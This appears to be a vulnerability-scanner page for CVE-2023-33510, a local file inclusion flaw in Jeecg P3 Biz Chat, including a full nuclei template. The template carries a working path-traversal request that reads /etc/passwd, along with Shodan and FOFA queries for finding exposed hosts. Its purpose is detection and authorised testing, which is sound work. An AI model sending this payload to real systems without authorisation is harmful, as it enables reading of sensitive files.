Jeecg P3 Biz Chat - Local File Inclusion

highseverity

7.5CVSS score

4.1%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.

Fix

Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat.

How to confirm it

Send: GET {{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-33510 -u <target>

The full check

id: CVE-2023-33510

info:
  name: Jeecg P3 Biz Chat - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat.
  reference:
    - https://twitter.com/momika233/status/1670701256535572481
    - https://carl1l.github.io/2023/05/08/jeecg-p3-biz-chat-1-0-5-jar-has-arbitrary-file-read-vulnerability/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33510
    - https://github.com/izj007/wechat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-33510
    cwe-id: CWE-668
    epss-score: 0.04076
    epss-percentile: 0.90784
    cpe: cpe:2.3:a:jeecg_p3_biz_chat_project:jeecg_p3_biz_chat:1.0.5:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: jeecg_p3_biz_chat_project
    product: jeecg_p3_biz_chat
    framework: wordpress
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve2023,cve,jeecg,lfi,jeecg_p3_biz_chat_project,wordpress,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from